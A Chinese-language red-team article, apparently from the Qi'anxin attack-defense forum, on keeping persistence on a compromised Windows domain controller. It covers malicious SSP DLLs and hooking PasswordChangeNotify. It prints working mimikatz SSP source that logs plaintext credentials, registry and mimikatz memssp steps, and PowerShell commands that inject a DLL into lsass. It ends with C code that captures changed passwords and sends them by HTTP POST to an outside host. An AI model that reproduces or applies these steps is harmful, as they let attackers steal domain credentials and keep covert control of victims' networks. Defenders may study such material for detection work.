前言拿下域控,渗透就结束了吗?实际上,往往刚刚开始。本文就域控权限维持的两种方法展开研究’SSP’和’PasswordChangeNotify’。 SSP 何为SSPSPP全称为’Security Support Pr…
前言
拿下域控,渗透就结束了吗?实际上,往往刚刚开始。
本文就域控权限维持的两种方法展开研究:SSP
和PasswordChangeNotify
。
SSP
何为SSP
SPP全称为Security Support Provider
,安全支持提供者。
SPP是一个dll,用于身份的验证。
windows下的SSP包含有:
- NTLMSSP (msv1_0.dll)
- Kerberos (kerberos.dll)
- NegotiateSSP (secur32.dll)
- Secure Channel (schannel.dll)
- TLS/SSL
- Digest SSP (wdigest.dll)
- CredSSP (credssp.dll)
- DPA(Distributed Password Authentication) (msapsspc.dll)
- Public Key Cryptography User-to-User (PKU2U, pku2u.dll)
SSPI
SSPI全称为Security Support Provider Interface
,为SSP接口,实际上就是SSP的API。
LSA
LSA全称Local Security Authority
,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe
进程。
操作lsass进程需要至少system权限。
利用SSP进行权限维持
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
mimikatz
早以支持这个功能,该文件为为mimilib.dll
。mimikatz poc为:
#include "kssp.h"
static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable = {
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL,
};
NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI kssp_SpShutDown(void)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = L"KiwiSSP";
PackageInfo->Comment= L"Kiwi Security Support Provider";
return STATUS_SUCCESS;
}
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE * kssp_logfile;;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
*PackageVersion = 0x00000042;
*ppTables = &kiwissp_SecPkgFunctionTable;
*pcTables = 1;
return STATUS_SUCCESS;
}
64位和32位的都有,和目标系统位数要一致。
将该dll拷贝到域控c:\windows\system32
下
打开注册表,修改域控位置HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
在Security Packages
下添加mimilib.dll
将域控重启系统。打开新生成文件c:\windows\system32\kiwissp.log
。
但该方式弊端非常明显:重启的动作太大。
mimikatz同样支持了以内存更新的方式更新ssp,无需重启就能获取到登录用户的账号信息和密码。
进入与目标系统位数相同的mimikatz后,输入命令
- privilege::debug
- misc::memssp
当目标用户注销后再登录,账户和明文密码会储存到C:\Windows\system32\mimilsa.log
type C:\Windows\system32\mimilsa.log
实际上就是将该dll注入到lsass进程中。该方式重启后无效,需要重新注入。
但依靠mimikatz这两种方式有一定局限性。下面介绍通过Hook PasswordChangeNotify
拦截修改的帐户密码的方法。
PasswordChangeNotify
何为PasswordChangeNotify
PasswordChangeNotify
是windows提供的一个API。
具体参数返回值参照官方文档:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine
当域控密码被修改时,LSA首先调用PasswordFileter
函数,该函数作用为检测新密码是否满足复杂度。如果符合则调用PasswordChangeNotify
在系统上同步更新密码。
HOOK PasswordChangeNotify
具体实现思路如下:
- 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
- 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
- 将生成的dll注入到lssas进程中。
使用HOOK PasswordChangeNotify无需重启域控系统或修改注册表,更加隐蔽且贴合实际。
技术复现
前人栽树,后人乘凉。
项目地址:https://github.com/clymb3r/Misc-Windows-Hacking
下载后将sln文件打开,右键解决方案,将MFC的使用设置为在静态库中使用MFC编译工程,然后F7编译。
dll生成成功之后就需要将dll注入,这里估摸着自己写一个远线程注入也可以,同样可以使用powershell脚本进行注入。
使用该将HookPasswordChange.dll注入内存
Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
当更改密码后,能够抓取到更改后的密码,账户和明文密码储存在C:\Windows\Temp\passwords.txt
。
当然存储文件位置和类型可以自定义,只需更改HookPasswordChange.cpp文件。
如果觉得仍然不方便,希望直接将密码上传到服务器,可以使用http协议发送。
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%s\r\n", szString);
fclose(pFile);
return;
}
// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
OutputDebugString(L"DllMain");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOLEAN __stdcall InitializeChangeNotify(void)
{
OutputDebugString(L"InitializeChangeNotify");
writeToLog("InitializeChangeNotify()");
return TRUE;
}
BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation )
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
NTSTATUS __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword )
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
//HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
char* pBuf="SomeData";
OutputDebugString(L"PasswordChangeNotify");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
fclose(pFile);
InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));
return 0;
}
参考
https://blog.carnal0wnage.com/2013/09/stealing-passwords-every-time-they.html
https://github.com/gentilkiwi/mimikatz/blob/bb371c2acba397b4006a6cddc0f9ce2b5958017b/mimilib/kssp.c#L21
https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Security%20Support%20Provider.html
https://paper.seebug.org/papers/Archive/drops2/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Hook%20PasswordChangeNotify.html
- 本文作者: ccYo1
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/596
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!